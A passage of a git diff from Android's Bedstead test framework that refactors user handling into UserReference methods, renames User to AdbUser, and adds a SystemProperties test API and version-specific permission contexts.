-                    : TestApis.users().find(mEventLogsQuery.getUserHandle()).resolve();
-            if (user == null) {
+            UserReference user = (mEventLogsQuery.getUserHandle() == null)
+                    ? TestApis.users().instrumented()
+                    : TestApis.users().find(mEventLogsQuery.getUserHandle());
+            if (!user.exists()) {
                 throw new AssertionError("Tried to bind to user " + mEventLogsQuery.getUserHandle() + " but does not exist");
             }
-            if (user.state() != User.UserState.RUNNING_UNLOCKED) {
-                throw new AssertionError("Tried to bind to user " + user + " but they are not RUNNING_UNLOCKED");
+            if (!user.isUnlocked()) {
+                throw new AssertionError("Tried to bind to user " + user
+                        + " but they are not unlocked");
             }
             Package pkg = TestApis.packages().find(mPackageName);
             if (!pkg.installedOnUser(user)) {
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
index 0396f74..cfdef77 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
@@ -78,7 +78,6 @@
 import com.android.bedstead.nene.exceptions.NeneException;
 import com.android.bedstead.nene.packages.Package;
 import com.android.bedstead.nene.permissions.PermissionContextImpl;
-import com.android.bedstead.nene.users.User;
 import com.android.bedstead.nene.users.UserBuilder;
 import com.android.bedstead.nene.users.UserReference;
 import com.android.bedstead.nene.utils.ShellCommand;
@@ -714,7 +713,7 @@
     }
 
     private void requireRunOnUser(String[] userTypes, OptionalBoolean switchedToUser) {
-        User instrumentedUser = TestApis.users().instrumented().resolve();
+        UserReference instrumentedUser = TestApis.users().instrumented();
 
         assumeTrue("This test only runs on users of type " + Arrays.toString(userTypes),
                 Arrays.stream(userTypes).anyMatch(i -> i.equals(instrumentedUser.type().name())));
@@ -728,7 +727,7 @@
             OptionalBoolean installInstrumentedAppInParent,
             boolean hasProfileOwner, boolean dpcIsPrimary,
             OptionalBoolean switchedToParentUser, Set<String> affiliationIds) {
-        User instrumentedUser = TestApis.users().instrumented().resolve();
+        UserReference instrumentedUser = TestApis.users().instrumented();
 
         assumeTrue("This test only runs on users of type " + userType,
                 instrumentedUser.type().name().equals(userType));
@@ -987,7 +986,7 @@
         }
 
         if (!mProfiles.containsKey(userType) || !mProfiles.get(userType).containsKey(forUser)) {
-            UserReference parentUser = TestApis.users().instrumented().resolve().parent();
+            UserReference parentUser = TestApis.users().instrumented().parent();
 
             if (parentUser != null) {
                 if (mProfiles.containsKey(userType)
@@ -1045,7 +1044,7 @@
      */
     public UserReference primaryUser() {
         return TestApis.users().all()
-                .stream().filter(User::isPrimary).findFirst()
+                .stream().filter(UserReference::isPrimary).findFirst()
                 .orElseThrow(IllegalStateException::new);
     }
 
@@ -1221,16 +1220,14 @@
 
         switchFromUser(userReference);
 
-        User user = userReference.resolve();
-
-        if (!mCreatedUsers.remove(user)) {
+        if (!mCreatedUsers.remove(userReference)) {
             mRemovedUsers.add(TestApis.users().createUser()
-                    .name(user.name())
-                    .type(user.type())
-                    .parent(user.parent()));
+                    .name(userReference.name())
+                    .type(userReference.type())
+                    .parent(userReference.parent()));
         }
 
-        user.remove();
+        userReference.remove();
     }
 
     public void requireCanSupportAdditionalUser() {
@@ -1297,7 +1294,7 @@
 
     private void teardownShareableState() {
         if (mOriginalSwitchedUser != null) {
-            if (mOriginalSwitchedUser.resolve() == null) {
+            if (!mOriginalSwitchedUser.exists()) {
                 Log.d(LOG_TAG, "Could not switch back to original user "
                         + mOriginalSwitchedUser
                         + " as it does not exist. Switching to initial instead.");
@@ -1747,7 +1744,7 @@
                 continue;
             }
 
-            if (otherUser.resolve().parent() != null) {
+            if (otherUser.parent() != null) {
                 continue;
             }
 
diff --git a/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
index ee961fa..d4c8eb8 100644
--- a/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
+++ b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
@@ -399,8 +399,7 @@
     @RequireRunOnWorkProfile
     public void requireRunOnWorkProfileAnnotation_isRunningOnWorkProfile() {
         assertThat(
-                TestApis.users().instrumented().resolve().type().name())
-                .isEqualTo(MANAGED_PROFILE_TYPE_NAME);
+                TestApis.users().instrumented().type().name()).isEqualTo(MANAGED_PROFILE_TYPE_NAME);
     }
 
     @Test
@@ -415,8 +414,7 @@
     @RequireRunOnSecondaryUser
     public void requireRunOnSecondaryUserAnnotation_isRunningOnSecondaryUser() {
         assertThat(
-                TestApis.users().instrumented().resolve().type().name())
-                .isEqualTo(SECONDARY_USER_TYPE_NAME);
+                TestApis.users().instrumented().type().name()).isEqualTo(SECONDARY_USER_TYPE_NAME);
     }
 
     @Test
@@ -431,7 +429,7 @@
     public void includeRunOnNonAffiliatedDeviceOwnerSecondaryUserAnnotation_isRunningOnNonAffiliatedDeviceOwnerSecondaryUser() {
         assertThat(TestApis.devicePolicy().getDeviceOwner().user())
                 .isNotEqualTo(TestApis.users().instrumented());
-        assertThat(TestApis.users().instrumented().resolve().type().name())
+        assertThat(TestApis.users().instrumented().type().name())
                 .isEqualTo(SECONDARY_USER_TYPE_NAME);
     }
 
@@ -446,7 +444,7 @@
     @Test
     @IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwnerProfile
     public void includeRunOnSecondaryUserInDifferentProfileGroupToProfileOwnerAnnotation_isRunningOnSecondaryUserInDifferentProfileGroupToProfileOwner() {
-        assertThat(TestApis.users().instrumented().resolve().type().name())
+        assertThat(TestApis.users().instrumented().type().name())
                 .isEqualTo(SECONDARY_USER_TYPE_NAME);
         assertThat(sDeviceState.workProfile(PRIMARY_USER))
                 .isNotEqualTo(TestApis.users().instrumented());
@@ -557,14 +555,14 @@
     @Test
     @RequireRunOnPrimaryUser
     public void requireRunOnPrimaryUserAnnotation_isRunningOnPrimaryUser() {
-        assertThat(TestApis.users().instrumented().resolve().type().name())
+        assertThat(TestApis.users().instrumented().type().name())
                 .isEqualTo(SYSTEM_USER_TYPE_NAME);
     }
 
     @Test
     @RequireRunOnTvProfile
     public void requireRunOnTvProfileAnnotation_isRunningOnTvProfile() {
-        assertThat(TestApis.users().instrumented().resolve().type().name())
+        assertThat(TestApis.users().instrumented().type().name())
                 .isEqualTo(TV_PROFILE_TYPE_NAME);
     }
 
@@ -601,29 +599,25 @@
     @Test
     @RequireRunOnWorkProfile
     public void requireRunOnProfile_parentIsCurrentUser() {
-        assertThat(TestApis.users().current()).isEqualTo(
-                sDeviceState.workProfile().resolve().parent());
+        assertThat(TestApis.users().current()).isEqualTo(sDeviceState.workProfile().parent());
     }
 
     @Test
     @RequireRunOnWorkProfile(switchedToParentUser = FALSE)
     public void requireRunOnProfile_specifyNotSwitchedToParentUser_parentIsNotCurrentUser() {
-        assertThat(TestApis.users().current()).isNotEqualTo(
-                sDeviceState.workProfile().resolve().parent());
+        assertThat(TestApis.users().current()).isNotEqualTo(sDeviceState.workProfile().parent());
     }
 
     @Test
     @EnsureHasWorkProfile(switchedToParentUser = FALSE) // We don't test the default as it's ANY
     public void ensureHasWorkProfile_specifyNotSwitchedToParentUser_parentIsNotCurrentUser() {
-        assertThat(TestApis.users().current()).isNotEqualTo(
-                sDeviceState.workProfile().resolve().parent());
+        assertThat(TestApis.users().current()).isNotEqualTo(sDeviceState.workProfile().parent());
     }
 
     @Test
     @EnsureHasWorkProfile(switchedToParentUser = TRUE)
     public void ensureHasWorkProfile_specifySwitchedToParentUser_parentIsCurrentUser() {
-        assertThat(TestApis.users().current()).isEqualTo(
-                sDeviceState.workProfile().resolve().parent());
+        assertThat(TestApis.users().current()).isEqualTo(sDeviceState.workProfile().parent());
     }
 
     @Test
diff --git a/common/device-side/bedstead/nene/src/main/AndroidManifest.xml b/common/device-side/bedstead/nene/src/main/AndroidManifest.xml
index d6a8bcc..8b3dca2 100644
--- a/common/device-side/bedstead/nene/src/main/AndroidManifest.xml
+++ b/common/device-side/bedstead/nene/src/main/AndroidManifest.xml
@@ -21,6 +21,7 @@
     <uses-sdk android:minSdkVersion="27" />
     <uses-permission android:name="android.permission.GET_TASKS" android:maxSdkVersion="28" />
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" android:maxSdkVersion="29" />
     <application>
         <service
             android:name="com.android.bedstead.nene.notifications.NeneNotificationListenerService"
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/TestApis.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/TestApis.java
index 960f356..ecc04e3 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/TestApis.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/TestApis.java
@@ -24,6 +24,7 @@
 import com.android.bedstead.nene.packages.Packages;
 import com.android.bedstead.nene.permissions.Permissions;
 import com.android.bedstead.nene.settings.Settings;
+import com.android.bedstead.nene.systemproperties.SystemProperties;
 import com.android.bedstead.nene.users.Users;
 
 /**
@@ -60,6 +61,11 @@
         return Settings.sInstance;
     }
 
+    /** Access Test APIs related to System Properties. */
+    public static SystemProperties systemProperties() {
+        return SystemProperties.sInstance;
+    }
+
     /** Access Test APIs related to activities. */
     @Experimental
     public static Activities activities() {
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicy.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicy.java
index 7564ac8..0259477 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicy.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicy.java
@@ -41,7 +41,6 @@
 import com.android.bedstead.nene.exceptions.NeneException;
 import com.android.bedstead.nene.packages.Package;
 import com.android.bedstead.nene.permissions.PermissionContext;
-import com.android.bedstead.nene.users.User;
 import com.android.bedstead.nene.users.UserReference;
 import com.android.bedstead.nene.utils.ShellCommand;
 import com.android.bedstead.nene.utils.ShellCommandUtils;
@@ -336,7 +335,7 @@
         }
 
         if (!allowAdditionalUsers) {
-            Collection<User> users = TestApis.users().all();
+            Collection<UserReference> users = TestApis.users().all();
 
             if (users.size() > 1) {
                 throw new NeneException("Could not set device owner for user "
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java
index 9135516..55ddb73 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java
@@ -516,6 +516,10 @@
             throw new NeneException("Error getting requestedPermissions, does not exist");
         }
 
+        if (packageInfo.requestedPermissions == null) {
+            return new HashSet<>();
+        }
+
         return new HashSet<>(Arrays.asList(packageInfo.requestedPermissions));
     }
 
@@ -565,7 +569,7 @@
     }
 
     private PackageInfo packageInfoForUserPreS(UserReference user, int flags) {
-        AdbPackage pkg = parseDumpsys().mPackages.get(mPackageName);
+        AdbPackage pkg = Packages.parseDumpsys().mPackages.get(mPackageName);
 
         if (pkg == null) {
             return null;
@@ -582,16 +586,6 @@
         return packageInfo;
     }
 
-    private AdbPackageParser.ParseResult parseDumpsys() {
-        try {
-            String dumpsysOutput = ShellCommand.builder("dumpsys package").execute();
-            return Packages.sParser.parse(dumpsysOutput);
-        } catch (AdbException | AdbParseException e) {
-            throw new NeneException("Error parsing package dumpsys", e);
-        }
-    }
-
-
     @Nullable
     private ApplicationInfo applicationInfoFromAnyUser(int flags) {
         return TestApis.users().all().stream()
@@ -776,7 +770,7 @@
             }
         }
 
-        return parseDumpsys().mPackages.containsKey(mPackageName);
+        return Packages.parseDumpsys().mPackages.containsKey(mPackageName);
     }
 
     private static final class ProcessInfo {
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
index 961fbee..a6ad211 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
@@ -20,6 +20,7 @@
 import static android.Manifest.permission.INSTALL_TEST_ONLY_PACKAGE;
 import static android.Manifest.permission.INTERACT_ACROSS_USERS;
 import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+import static android.Manifest.permission.MANAGE_EXTERNAL_STORAGE;
 import static android.content.pm.PackageInstaller.EXTRA_STATUS;
 import static android.content.pm.PackageInstaller.EXTRA_STATUS_MESSAGE;
 import static android.content.pm.PackageInstaller.STATUS_FAILURE;
@@ -28,7 +29,6 @@
 import static android.os.Build.VERSION.SDK_INT;
 import static android.os.Build.VERSION_CODES.R;
 
-import static com.android.bedstead.nene.users.User.UserState.RUNNING_UNLOCKED;
 import static com.android.compatibility.common.util.FileUtils.readInputStreamFully;
 
 import android.content.ComponentName;
@@ -39,6 +39,7 @@
 import android.content.pm.PackageInstaller;
 import android.content.pm.PackageManager;
 import android.os.Build;
+import android.os.Environment;
 import android.util.Log;
 
 import androidx.annotation.CheckResult;
@@ -47,9 +48,9 @@
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.annotations.Experimental;
 import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.exceptions.AdbParseException;
 import com.android.bedstead.nene.exceptions.NeneException;
 import com.android.bedstead.nene.permissions.PermissionContext;
-import com.android.bedstead.nene.users.User;
 import com.android.bedstead.nene.users.UserReference;
 import com.android.bedstead.nene.utils.BlockingIntentSender;
 import com.android.bedstead.nene.utils.ShellCommand;
@@ -187,7 +188,9 @@
         return installedForUser(TestApis.users().instrumented());
     }
 
-    /** Resolve all packages installed for a given {@link UserReference}. */
+    /**
+     * Resolve all packages installed for a given {@link UserReference}.
+     */
     public Collection<Package> installedForUser(UserReference user) {
         if (user == null) {
             throw new NullPointerException();
@@ -201,6 +204,14 @@
                     .collect(Collectors.toSet());
         }
 
+        if (!Versions.meetsMinimumSdkVersionRequirement(R)) {
+            AdbPackageParser.ParseResult packages = parseDumpsys();
+            return packages.mPackages.values().stream()
+                    .filter(p -> p.installedOnUsers().contains(user))
+                    .map(p -> find(p.packageName()))
+                    .collect(Collectors.toSet());
+        }
+
         try (PermissionContext p = TestApis.permissions()
                 .withPermission(INTERACT_ACROSS_USERS_FULL)) {
             return TestApis.context().androidContextAsUser(user).getPackageManager()
@@ -243,11 +254,9 @@
             return install(user, loadBytes(apkFile));
         }
 
-        User resolvedUser = user.resolve();
-
-        if (resolvedUser == null || resolvedUser.state() != RUNNING_UNLOCKED) {
+        if (!user.exists() || !user.isUnlocked()) {
             throw new NeneException("Packages can not be installed in non-started users "
-                    + "(Trying to install into user " + resolvedUser + ")");
+                    + "(Trying to install into user " + user + ")");
         }
 
         // This is not in the try because if the install fails we don't want to await the broadcast
@@ -261,7 +270,6 @@
                     .addOperand("-t") // Allow test-only install
                     .addOperand(apkFile.getAbsolutePath())
                     .validate(ShellCommandUtils::startsWithSuccess)
-                    .asRoot()
                     .execute();
 
             return waitForPackageAddedBroadcast(broadcastReceiver);
@@ -330,11 +338,9 @@
             return installPreS(user, apkFile);
         }
 
-        User resolvedUser = user.resolve();
-
-        if (resolvedUser == null || resolvedUser.state() != RUNNING_UNLOCKED) {
+        if (!user.exists() || !user.isUnlocked()) {
             throw new NeneException("Packages can not be installed in non-started users "
-                    + "(Trying to install into user " + resolvedUser + ")");
+                    + "(Trying to install into user " + user + ")");
         }
 
         // This is not inside the try because if the install is unsuccessful we don't want to await
@@ -395,31 +401,21 @@
     @Nullable
     private Package installPreS(UserReference user, byte[] apkFile) {
         // Prior to S we cannot pass bytes to stdin so we write it to a temp file first
-        File outputDir = TestApis.context().instrumentedContext().getFilesDir();
+        File outputDir = Environment.getExternalStorageDirectory();
         File outputFile = null;
-        try {
+
+        try (PermissionContext p =
+                     TestApis.permissions().withPermissionOnVersion(R, MANAGE_EXTERNAL_STORAGE)) {
             // TODO(b/202705721): Replace this with fixed name
             outputFile = new File(outputDir, UUID.randomUUID() + ".apk");
             outputFile.getParentFile().mkdirs();
             try (FileOutputStream output = new FileOutputStream(outputFile)) {
                 output.write(apkFile);
             }
-            // Shell can't read the file in files dir, so we can move it to /data/local/tmp
-            File localTmpFile = new File("/data/local/tmp", outputFile.getName());
-            // I'm not sure why only mv works on R, and only cp works on < R
-            String command = Versions.meetsMinimumSdkVersionRequirement(R) ? "mv" : "cp";
-            ShellCommand.builder(command)
-                    .addOperand(outputFile.getAbsolutePath())
-                    .addOperand(localTmpFile.getAbsolutePath())
-                    .asRoot()
-                    .validate(String::isEmpty)
-                    .allowEmptyOutput(true)
-                    .execute();
-            return install(user, localTmpFile);
+
+            return install(user, outputFile);
         } catch (IOException e) {
             throw new NeneException("Error when writing bytes to temp file", e);
-        } catch (AdbException e) {
-            throw new NeneException("Error when moving file to /data/local/tmp", e);
         } finally {
             if (outputFile != null) {
                 outputFile.delete();
@@ -537,4 +533,13 @@
     public Package instrumented() {
         return find(TestApis.context().instrumentedContext().getPackageName());
     }
+
+    static AdbPackageParser.ParseResult parseDumpsys() {
+        try {
+            String dumpsysOutput = ShellCommand.builder("dumpsys package").execute();
+            return Packages.sParser.parse(dumpsysOutput);
+        } catch (AdbException | AdbParseException e) {
+            throw new NeneException("Error parsing package dumpsys", e);
+        }
+    }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/ProcessReference.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/ProcessReference.java
index 76c2159..c14417b 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/ProcessReference.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/ProcessReference.java
@@ -17,10 +17,7 @@
 package com.android.bedstead.nene.packages;
 
 import com.android.bedstead.nene.annotations.Experimental;
-import com.android.bedstead.nene.exceptions.AdbException;
-import com.android.bedstead.nene.exceptions.NeneException;
 import com.android.bedstead.nene.users.UserReference;
-import com.android.bedstead.nene.utils.ShellCommand;
 
 @Experimental
 public final class ProcessReference {
@@ -59,21 +56,7 @@
         return mUser;
     }
 
-    /**
-     * Kill the process.
-     */
-    public void kill() {
-        try {
-            ShellCommand.builder("kill")
-                    .addOperand(mProcessId)
-                    .allowEmptyOutput(true)
-                    .validate(String::isEmpty)
-                    .asRoot()
-                    .execute();
-        } catch (AdbException e) {
-            throw new NeneException("Error killing process", e);
-        }
-    }
+    // TODO(b/203758521): Add support for killing processes
 
     @Override
     public int hashCode() {
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContextImpl.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContextImpl.java
index 4fc05f3..f7f3a59 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContextImpl.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContextImpl.java
@@ -17,6 +17,7 @@
 package com.android.bedstead.nene.permissions;
 
 import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.utils.Versions;
 
 import java.util.Arrays;
 import java.util.HashSet;
@@ -62,6 +63,17 @@
     }
 
     /**
+     * See {@link Permissions#withPermissionOnVersion(int, String...)}
+     */
+    public PermissionContextImpl withPermissionOnVersion(int sdkVersion, String... permissions) {
+        if (Versions.meetsSdkVersionRequirements(sdkVersion, sdkVersion)) {
+            return withPermission(permissions);
+        }
+
+        return this;
+    }
+
+    /**
      * See {@link Permissions#withoutPermission(String...)}
      */
     public PermissionContextImpl withoutPermission(String... permissions) {
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java
index 59adaf2..88aef56 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java
@@ -128,6 +128,28 @@
     }
 
     /**
+     * Enter a {@link PermissionContext} where the given permissions are granted only when running
+     * on the given version.
+     *
+     * <p>If the permissions cannot be granted, and are not already granted, an exception will be
+     * thrown.
+     *
+     * <p>If the version does not match, the permission context will not change.
+     */
+    public PermissionContextImpl withPermissionOnVersion(int sdkVersion, String... permissions) {
+        if (mPermissionContexts.isEmpty()) {
+            recordExistingPermissions();
+        }
+
+        PermissionContextImpl permissionContext = new PermissionContextImpl(this);
+        mPermissionContexts.add(permissionContext);
+
+        permissionContext.withPermissionOnVersion(sdkVersion, permissions);
+
+        return permissionContext;
+    }
+
+    /**
      * Enter a {@link PermissionContext} where the given permissions are not granted.
      *
      * <p>If the permissions cannot be denied, and are not already denied, an exception will be
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/systemproperties/SystemProperties.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/systemproperties/SystemProperties.java
new file mode 100644
index 0000000..44b0509
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/systemproperties/SystemProperties.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.systemproperties;
+
+import android.util.Log;
+
+import com.android.bedstead.nene.annotations.Experimental;
+import com.android.bedstead.nene.exceptions.NeneException;
+
+import java.lang.reflect.InvocationTargetException;
+
+/** Test APIs related to setting and getting {@link android.os.SystemProperties}. */
+@Experimental
+public final class SystemProperties {
+
+    private static final String LOG_TAG = "SystemProperties";
+
+    public static final SystemProperties sInstance = new SystemProperties();
+
+    private SystemProperties() {
+
+    }
+
+    /** See {@link android.os.SystemProperties#set(java.lang.String, java.lang.String)}. */
+    public void set(String key, String value) {
+        if (key == null || value == null) {
+            throw new NullPointerException();
+        }
+
+        if (value.equals(get(key))) {
+            Log.i(LOG_TAG, "Setting SystemProperty " + key + " to " + value + " but already set");
+            return;
+        }
+
+        try {
+            // TODO(b/203749299): Remove reflection
+            android.os.SystemProperties.class.getMethod("set", String.class, String.class)
+                    .invoke(null, key, value);
+        } catch (IllegalAccessException | InvocationTargetException | NoSuchMethodException e) {
+            throw new NeneException("Error setting system property " + key + " to " + value, e);
+        }
+    }
+
+    /** See {@link android.os.SystemProperties#get(java.lang.String)}. */
+    public String get(String key) {
+        if (key == null) {
+            throw new NullPointerException();
+        }
+        return android.os.SystemProperties.get(key);
+    }
+
+    /** See {@link android.os.SystemProperties#get(java.lang.String, java.lang.String)}. */
+    public String get(String key, String def) {
+        if (key == null) {
+            throw new NullPointerException();
+        }
+        return android.os.SystemProperties.get(key, def);
+    }
+
+    /** See {@link android.os.SystemProperties#getInt(java.lang.String, int)}. */
+    public int getInt(String key, int def) {
+        if (key == null) {
+            throw new NullPointerException();
+        }
+        return android.os.SystemProperties.getInt(key, def);
+    }
+
+    /** See {@link android.os.SystemProperties#getLong(java.lang.String, long)}. */
+    public long getLong(String key, long def) {
+        if (key == null) {
+            throw new NullPointerException();
+        }
+        return android.os.SystemProperties.getLong(key, def);
+    }
+
+    /** See {@link android.os.SystemProperties#getBoolean(java.lang.String, boolean)}. */
+    public boolean getBoolean(String key, boolean def) {
+        if (key == null) {
+            throw new NullPointerException();
+        }
+        return android.os.SystemProperties.getBoolean(key, def);
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/User.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUser.java
similarity index 92%
rename from common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/User.java
rename to common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUser.java
index f06b004..31a5772 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/User.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUser.java
@@ -22,13 +22,10 @@
 
 /**
  * Representation of a user on an Android device.
- *
- * <p>{@link User} information represents the state of the device at construction time. To get an
- * updated reflection of the user on the device, see {@link #resolve()}.
  */
-public final class User extends UserReference {
+public final class AdbUser {
 
-    private static final String LOG_TAG = "User";
+    private static final String LOG_TAG = "AdbUser";
 
     /* From UserInfo */
     static final int FLAG_MANAGED_PROFILE = 0x00000020;
@@ -70,11 +67,15 @@
 
     final MutableUser mMutableUser;
 
-    User(MutableUser mutableUser) {
-        super(mutableUser.mId);
+    AdbUser(MutableUser mutableUser) {
         mMutableUser = mutableUser;
     }
 
+    /** Get the id of the user. */
+    public int id() {
+        return mMutableUser.mId;
+    }
+
     /** Get the serial number of the user. */
     public Integer serialNo() {
         return mMutableUser.mSerialNo;
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser.java
index 93f2229..2c5a107 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser.java
@@ -47,7 +47,7 @@
      * <p>Values which are not used on the current version of Android will be {@code null}.
      */
     class ParseResult {
-        Map<Integer, User> mUsers;
+        Map<Integer, AdbUser> mUsers;
         @Nullable Map<String, UserType> mUserTypes;
     }
 
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser26.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser26.java
index 78a70b7..7a23986 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser26.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser26.java
@@ -98,12 +98,12 @@
         return parseResult;
     }
 
-    Map<Integer, User> parseUsers(String dumpsysUsersOutput) throws AdbParseException {
+    Map<Integer, AdbUser> parseUsers(String dumpsysUsersOutput) throws AdbParseException {
         String usersList = extractUsersList(dumpsysUsersOutput);
         Set<String> userStrings = extractUserStrings(usersList);
-        Map<Integer, User> users = new HashMap<>();
+        Map<Integer, AdbUser> users = new HashMap<>();
         for (String userString : userStrings) {
-            User user = new User(parseUser(userString));
+            AdbUser user = new AdbUser(parseUser(userString));
             users.put(user.id(), user);
         }
         return users;
@@ -121,10 +121,10 @@
         return extractIndentedSections(usersList, USER_LIST_BASE_INDENTATION);
     }
 
-    User.MutableUser parseUser(String userString) throws AdbParseException {
+    AdbUser.MutableUser parseUser(String userString) throws AdbParseException {
         try {
             String userInfo[] = userString.split("UserInfo\\{", 2)[1].split("\\}", 2)[0].split(":");
-            User.MutableUser user = new User.MutableUser();
+            AdbUser.MutableUser user = new AdbUser.MutableUser();
             user.mName = userInfo[1];
             user.mFlags = Integer.parseInt(userInfo[2], 16);
             user.mId = Integer.parseInt(userInfo[0]);
@@ -134,7 +134,7 @@
                     Boolean.parseBoolean(
                             userString.split("Has profile owner: ", 2)[1].split("\n", 2)[0]);
             user.mState =
-                    User.UserState.fromDumpSysValue(
+                    AdbUser.UserState.fromDumpSysValue(
                             userString.split("State: ", 2)[1].split("\n", 2)[0]);
             user.mIsRemoving = userString.contains("<removing>");
             return user;
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java
index d3db731..a2ed2fa 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java
@@ -271,9 +271,9 @@
     }
 
     @Override
-    User.MutableUser parseUser(String userString) throws AdbParseException {
+    AdbUser.MutableUser parseUser(String userString) throws AdbParseException {
         // This will be called after parseUserTypes, so the user types are already accessible
-        User.MutableUser user = super.parseUser(userString);
+        AdbUser.MutableUser user = super.parseUser(userString);
 
         try {
             user.mIsPrimary = Boolean.parseBoolean(
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser31.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser31.java
index e472d21..d1d5ba0 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser31.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser31.java
@@ -40,8 +40,8 @@
     }
 
     @Override
-    User.MutableUser parseUser(String userString) throws AdbParseException {
-        User.MutableUser user = super.parseUser(userString);
+    AdbUser.MutableUser parseUser(String userString) throws AdbParseException {
+        AdbUser.MutableUser user = super.parseUser(userString);
 
